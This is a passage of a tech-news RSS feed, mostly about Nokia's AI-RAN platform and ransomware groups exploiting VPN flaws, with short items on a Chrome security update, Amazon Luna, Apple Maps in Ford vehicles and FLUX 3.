<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</guid>
<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware groups are hammering your vulnerable VPNs]]></title>
<description><![CDATA[Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin ransomware strain.



A critical authentication bypass flaw (CVE-2026-0257) in Palo Alto GlobalProtect portal and gateway was the common link in a serie...]]></description>
<link>https://tsecurity.de/de/3690892/it-security-nachrichten/ransomware-groups-are-hammering-your-vulnerable-vpns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690892/it-security-nachrichten/ransomware-groups-are-hammering-your-vulnerable-vpns/</guid>
<pubDate>Fri, 24 Jul 2026 09:10:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin <a href="https://www.csoonline.com/article/563507/what-is-ransomware-how-it-works-and-how-to-remove-it.html">ransomware</a> strain.</p>



<p class="wp-block-paragraph">A critical authentication bypass flaw (<a href="https://nvd.nist.gov/vuln/detail/cve-2026-0257">CVE-2026-0257</a>) in Palo Alto GlobalProtect portal and gateway was the common link in a series of intrusions in June, Arctic Wolf Labs warns. Exploitation of the vulnerability <a href="https://www.csoonline.com/article/4179847/attackers-exploit-palo-alto-globalprotect-flaw-days-after-disclosure.html">came within days of disclosure</a>.</p>



<p class="wp-block-paragraph">“Post-exploitation tradecraft varied across intrusions, from rapid encryption-only operations to full double-extortion, possibly suggesting multiple affiliates operating under the Qilin ransomware-as-a-service (RaaS) umbrella,” Arctic Wolf’s researchers <a href="https://arcticwolf.com/resources/blog/exploitation-of-cve-2026-0257-leads-to-qilin-ransomware/">wrote in a post on the threat</a>.</p>



<p class="wp-block-paragraph">The campaign against Palo Alto’s VPN client is part of a rising trend that sees ransomware groups increasingly targeting vulnerabilities in network edge tools and devices.</p>



<h2 class="wp-block-heading">Ransomware takes aim at the edge</h2>



<p class="wp-block-paragraph">Beyond GlobalProtect, <a href="https://www.csoonline.com/article/4079316/cross-platform-ransomware-qilin-weaponizes-linux-binaries-against-windows-hosts.html">Qilin</a> — the most active threat group in Q2 2026, responsible for 14% of attacks, according to <a href="https://www.nccgroup.com/resource-hub/cyber-threat-intelligence-reports/">NCC Group’s latest Quarterly Cyber Threat Intelligence Report</a> —  has also targeted flaws in Fortinet’s FortiGate, Citrix NetScaler, and Check Point Remote Access VPN.</p>



<p class="wp-block-paragraph">Check Point warned in June of <a href="https://www.csoonline.com/article/4182898/check-point-warns-of-ransomware-linked-attacks-exploiting-outdated-vpn-protocol.html">ransomware attacks against VPNs</a> that still use the deprecated Internet Key Exchange version 1 (IKEv1) protocol. Citrix issued patches in early July for a <a href="https://www.csoonline.com/article/4192741/new-citrixbleed-like-netscaler-flaw-sees-exploit-attempts-in-the-wild.html">CitrixBleed-like flaw</a> in its NetScalar devices that had come under attack.</p>



<p class="wp-block-paragraph">Meanwhile, Fortibleed, a massive credential-compromise campaign, <a href="https://www.csoonline.com/article/4186790/fortibleed-campaign-exposes-75000-fortinet-firewalls-worldwide.html">exposed 75,000 FortiGate firewalls in June</a>.  </p>



<p class="wp-block-paragraph">Qilin is by no means alone in increasing its operations against VPNs and other network security tools.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/4178580/the-gentlemen-are-coming-for-your-files-and-then-your-network.html">The Gentlemen</a>, No. 2 on NCC Group’s list with 238 victims in Q2 2026, is noted for breaking into organizations through firewalls, VPNs, and other internet-exposed systems — FortiGate and Cisco products in particular.</p>



<p class="wp-block-paragraph">Akira, No. 4 on NCC Group’s list (127 victims), is also known for exploiting VPN vulnerabilities and abusing legitimate credentials, primarily versus <a href="https://www.twinstrata.com/news/akira-ransomware/">products from Ivanti, Cisco, and Fortinet</a>.</p>



<h2 class="wp-block-heading">In the line of fire</h2>



<p class="wp-block-paragraph">Network edge security devices are becoming security liabilities for enterprise security professionals, with an alarming rise in zero-day exploits arising from what experts describe as <a href="https://www.csoonline.com/article/4074945/network-security-devices-endanger-orgs-with-90s-era-flaws.html">basic and readily preventable vulnerabilities</a>.</p>



<p class="wp-block-paragraph">A range of attackers spanning opportunistic hackers to ransomware-as-a-service operators and nation-state sponsored APT (advanced persistent threat) groups are actively exploiting software vulnerabilities in edge devices to hack into corporate networks.</p>



<p class="wp-block-paragraph">“Although there has not been a material rise in ransomware volume in the last quarter, the trajectory of attacks continues upwards, and VPNs remain an increasingly attractive target,” said Matt Hull, VP and head of cyber intelligence and response at NCC Group.</p>



<p class="wp-block-paragraph">Unpatched vulnerabilities in edge devices are far from the only software bugs fueling ransomware attacks. For example, last year the <a href="https://www.csoonline.com/article/4068379/oracle-issues-emergency-patch-for-zero-day-flaw-exploited-by-cl0p-ransomware-gang.html">Clop ransomware gang hacked hundreds of companies</a> by exploiting zero-day vulnerabilities in Oracle’s E-Business Suite software.</p>



<h2 class="wp-block-heading">Edge of darkness</h2>



<p class="wp-block-paragraph">VPNs and other internet-facing edge devices remain prime targets for ransomware operators because they provide a direct route into an organization’s network.</p>



<p class="wp-block-paragraph">“Attackers may exploit an unpatched vulnerability, use stolen credentials, or target weak authentication controls,” said Alexander Leslie, a senior advisor at cyber threat intelligence firm Recorded Future. “In some cases, exploitation begins before organizations have had sufficient time to apply vendor guidance, leaving security teams with a very narrow window to respond.”</p>



<p class="wp-block-paragraph">VPN exploitation sits alongside other initial access methods, such as phishing, compromised credentials, or software supply chain attacks. The preferred attacker infiltration method varies by campaign and sector but locating security in edge devices carry particular advantages from the perspective of attackers.</p>



<p class="wp-block-paragraph">“Vulnerabilities in perimeter devices are particularly valuable to attackers because those systems are continuously exposed to the internet and can provide privileged access while bypassing some endpoint controls,” said Leslie.</p>



<p class="wp-block-paragraph">Dray Agha, senior manager of security operations at managed detection and response firm Huntress, backed up this assessment that exploiting internet-facing VPNs and edge devices remains the “dominant, volume-driven tactic” for ransomware operators because these appliances offer a “direct, publicly accessible gateway straight into the heart of corporate networks.”</p>



<p class="wp-block-paragraph">Rather than exploiting vulnerabilities in edge devices, attackers more commonly use internet-facing gateways as a means to abuse stolen credentials to break into corporate networks, according to Huntress.</p>



<p class="wp-block-paragraph">“What we see at Huntress is that the VPN is the site of initial access some 70% of the time, for advanced threat actors,” said Agha. “Overwhelmingly, however, they are not exploiting for access; rather they are using stolen credentials to authenticate to non-MFA’d [multi-factor authentication] user accounts.”</p>



<h2 class="wp-block-heading">Hardened perimeter</h2>



<p class="wp-block-paragraph">CSOs should treat their network perimeter as hostile territory by enforcing aggressive patch management, applying critical edge device updates within 24 to 48 hours, and mandating strict MFA for all access.</p>



<p class="wp-block-paragraph">Implementing zero-trust network segmentation to trap attackers and prevent lateral movement if the initial gateway is compromised also helps in making enterprise networks more resilient against attacks, Huntress’ Agha advised.</p>



<p class="wp-block-paragraph">Phishing-resistant multi-factor authentication, removal of unsupported systems, and close monitoring for unusual authentication or administrative activity also form key components in attack impact mitigation.</p>



<p class="wp-block-paragraph">Internet-facing assets that are known to be actively exploited should be prioritized as a patching priority.</p>



<p class="wp-block-paragraph">“Threat intelligence and evidence of active exploitation should help determine which vulnerabilities demand immediate action,” Recorded Future’s Leslie said.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Meet the judges who will crown Australia’s next breakout startup]]></title>
<description><![CDATA[TechCrunch Startup Battlefield is coming to Australia — and we're partnering with Stripe to find the country's most exciting early-stage startups.]]></description>
<link>https://tsecurity.de/de/3690487/it-nachrichten/meet-the-judges-who-will-crown-australias-next-breakout-startup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690487/it-nachrichten/meet-the-judges-who-will-crown-australias-next-breakout-startup/</guid>
<pubDate>Fri, 24 Jul 2026 02:25:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[TechCrunch Startup Battlefield is coming to Australia — and we're partnering with Stripe to find the country's most exciting early-stage startups.]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia's latest trick for cooling its data center hardware is... hot water? 'Hot liquid cooling' is warmer than a hot tub, but apparently does the job pretty well]]></title>
<description><![CDATA[Nvidia's newest AI servers are cooled by water hotter than a hot tub: 45°C going in, 55°C coming out, while skipping out on fans altogether]]></description>
<link>https://tsecurity.de/de/3690438/it-nachrichten/nvidias-latest-trick-for-cooling-its-data-center-hardware-is-hot-water-hot-liquid-cooling-is-warmer-than-a-hot-tub-but-apparently-does-the-job-pretty-well/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690438/it-nachrichten/nvidias-latest-trick-for-cooling-its-data-center-hardware-is-hot-water-hot-liquid-cooling-is-warmer-than-a-hot-tub-but-apparently-does-the-job-pretty-well/</guid>
<pubDate>Fri, 24 Jul 2026 01:34:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Nvidia's newest AI servers are cooled by water hotter than a hot tub: 45°C going in, 55°C coming out, while skipping out on fans altogether]]></content:encoded>
</item>
<item>
<title><![CDATA[Stable Channel Update for Desktop]]></title>
<description><![CDATA[The Stable channel has been updated to 150.0.7871.186/.187 for Windows and Mac and 150.0.7871.186 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the LogSecurity Fixes and RewardsNote: Access to bug details and links may be kept rest...]]></description>
<link>https://tsecurity.de/de/3690353/it-security-nachrichten/stable-channel-update-for-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690353/it-security-nachrichten/stable-channel-update-for-desktop/</guid>
<pubDate>Fri, 24 Jul 2026 00:27:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span face="Roboto, sans-serif"><span color="rgba(0, 0, 0, 0.87)">The Stable channel has been updated to 150.0.7871.186/.187 for Windows and</span><span color="rgba(0, 0, 0, 0.87)"> </span><span color="rgba(0, 0, 0, 0.87)">Mac and </span></span><span color="rgba(0, 0, 0, 0.87)"><span>150.0.7871.186 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the </span><a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.182..150.0.7871.186?pretty=fuller&amp;n=10000">Log</a></span></p><div><span face="Arial,sans-serif"><br><p dir="ltr"><span>Security Fixes and Rewards</span></p><p dir="ltr"><span>Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed.</span></p><br><p dir="ltr"><span>This update includes </span><a href="https://issues.chromium.org/issues?q=customfield1223088:5-M150"><span>4</span></a><span> security fixes. Please see the </span><a href="https://www.chromium.org/Home/chromium-security"><span>Chrome Security Page</span></a><span> for more information.</span></p><p dir="ltr"><span><br></span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/518237034"><span>518237034</span></a><span>]</span><span> High </span><span>CVE-2026-16807: Out of bounds write in Codecs. </span><span>Reported by Google on 2026-05-30</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/522064153"><span>522064153</span></a><span>]</span><span> High </span><span>CVE-2026-16806: Use after free in WebMCP. </span><span>Reported by Google on 2026-06-10</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/523292588"><span>523292588</span></a><span>]</span><span> High </span><span>CVE-2026-16805: Use after free in Blink. </span><span>Reported by Google on 2026-06-12</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/524721670"><span>524721670</span></a><span>]</span><span> High </span><span>CVE-2026-16804: Use after free in Input. </span><span>Reported by Google on 2026-06-16</span></p><p dir="ltr"><span><br></span></p><p dir="ltr"><span>We would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.</span></p><p dir="ltr"><span><br></span></p><p dir="ltr"><span>Many of our security bugs are detected using </span><a href="https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer"><span>AddressSanitizer</span></a><span>, </span><a href="https://code.google.com/p/memory-sanitizer/wiki/MemorySanitizer"><span>MemorySanitizer</span></a><span>, </span><a href="https://www.chromium.org/developers/testing/undefinedbehaviorsanitizer"><span>UndefinedBehaviorSanitizer</span></a><span>, </span><a href="https://www.chromium.org/developers/testing/control-flow-integrity/"><span>Control Flow Integrity</span></a><span>, </span><a href="https://chromium.googlesource.com/chromium/src/+/HEAD/testing/libfuzzer/README.md"><span>libFuzzer</span></a><span>, or </span><a href="https://github.com/google/afl"><span>AFL</span></a><span>.</span></p><br></span></div><div><span face="Arial,sans-serif"><br></span></div><p><span><span>Interested in switching release channels? Find out how<span> </span></span><a href="https://www.chromium.org/getting-involved/dev-channel">here</a><span>. If you find a new issue, please let us know by<span> </span></span><a href="https://crbug.com/">filing a bug</a><span>. The<span> </span></span><a href="https://support.google.com/chrome/community">community help forum</a><span> is also a great place to reach out for help or learn about common issues.</span></span></p><p><span><br></span></p><p><span>Daniel Yip</span></p><p><span color="rgba(0, 0, 0, 0.87)"></span></p><p><span>Google Chrome</span></p><div><span><br></span></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[SDCC 2026: ‘Avatar: Seven Havens’ Trailer, Release Date Revealed]]></title>
<description><![CDATA[Another spinoff from the Avatar: The Last Airbender franchise coming soon from Avatar Studios and Nickelodeon.]]></description>
<link>https://tsecurity.de/de/3690220/it-nachrichten/sdcc-2026-avatar-seven-havens-trailer-release-date-revealed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690220/it-nachrichten/sdcc-2026-avatar-seven-havens-trailer-release-date-revealed/</guid>
<pubDate>Thu, 23 Jul 2026 23:04:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Another spinoff from the Avatar: The Last Airbender franchise coming soon from Avatar Studios and Nickelodeon.]]></content:encoded>
</item>
<item>
<title><![CDATA[Amazon Is Bringing Games to Prime Video]]></title>
<description><![CDATA[Amazon is integrating its Luna cloud gaming service into Prime Video, adding a new "Games" tab where Prime members can play titles like "Hogwarts Legacy," "EA Sports FC 26," "Indiana Jones and the Great Circle," "Clue," and "Taboo." The games will be available starting today on Fire TVs in the U....]]></description>
<link>https://tsecurity.de/de/3690147/it-security-nachrichten/amazon-is-bringing-games-to-prime-video/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690147/it-security-nachrichten/amazon-is-bringing-games-to-prime-video/</guid>
<pubDate>Thu, 23 Jul 2026 22:09:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon is integrating its Luna cloud gaming service into Prime Video, adding a new "Games" tab where Prime members can play titles like "Hogwarts Legacy," "EA Sports FC 26," "Indiana Jones and the Great Circle," "Clue," and "Taboo." The games will be available starting today on Fire TVs in the U.S. and U.K., with additional supported devices and countries in the coming months. TechCrunch reports: With this move, Amazon is hoping games can turn Prime Video into a one-stop entertainment destination, borrowing a strategy from Netflix, which has increasingly embraced party games over the past several years. Since Amazon already operates a gaming service, it makes sense for the tech giant to integrate it into its streaming platform. [...] Amazon says its vision is to remove the barriers to gaming and make it accessible to anyone regardless of their experience or budget. The tech giant says Luna is designed to bring gaming to a much broader audience by removing the need for expensive consoles or gaming PCs and making games as easy to access as movies or TV shows.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Amazon+Is+Bringing+Games+to+Prime+Video%3A+https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F07%2F23%2F1830257%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fgames.slashdot.org%2Fstory%2F26%2F07%2F23%2F1830257%2Famazon-is-bringing-games-to-prime-video%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://games.slashdot.org/story/26/07/23/1830257/amazon-is-bringing-games-to-prime-video?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Maps Is Coming to Ford’s Electric Vehicles in 2027]]></title>
<description><![CDATA[Apple Maps will come built into Ford’s upcoming Universal Electric Vehicle Platform in 2027, giving drivers direct access to navigation, traffic updates, EV routing, and hands-free driving support without needing an iPhone.



Apple and Ford announced the partnership as part of a broader plan to ...]]></description>
<link>https://tsecurity.de/de/3690054/ios-mac-os/apple-maps-is-coming-to-fords-electric-vehicles-in-2027/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690054/ios-mac-os/apple-maps-is-coming-to-fords-electric-vehicles-in-2027/</guid>
<pubDate>Thu, 23 Jul 2026 21:12:26 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple Maps will come built into Ford’s upcoming Universal Electric Vehicle Platform in 2027, giving drivers direct access to navigation, traffic updates, EV routing, and hands-free driving support without needing an iPhone.



Apple and Ford announced the partnership as part of a broader plan to bring Apple Maps directly into vehicle displays through Apple’s new MapKit for Automotive SDK. Ford will use the software across its upcoming electric vehicle platform, while drivers will still have the option to use CarPlay.



The built-in Apple Maps experience will include turn-by-turn directions, natural language guidance, live traffic information, incident alerts, detailed place cards, and route suggestions. Drivers will also get EV-focused features such as intelligent routing and battery preconditioning, which prepares the battery before arriving at a charging station.



Apple Maps will also support Ford’s hands-free driving system



Ford plans to use road-level data from Apple Maps to support the next generation of its BlueCruise hands-free highway driving system. The company expects this data to improve the driving experience between highway entrances and exits, while also helping its Latitude AI team develop more advanced hands-free features.



The direct integration means Ford drivers will be able to use Apple Maps even without an iPhone connected to the vehicle. CarPlay will remain available for users who prefer Apple’s full in-car interface.



Ford appears to be one of the first automakers adopting Apple’s new automotive mapping tools, and Apple has already suggested that more partnerships will follow as other manufacturers begin using the MapKit for Automotive SDK.]]></content:encoded>
</item>
<item>
<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
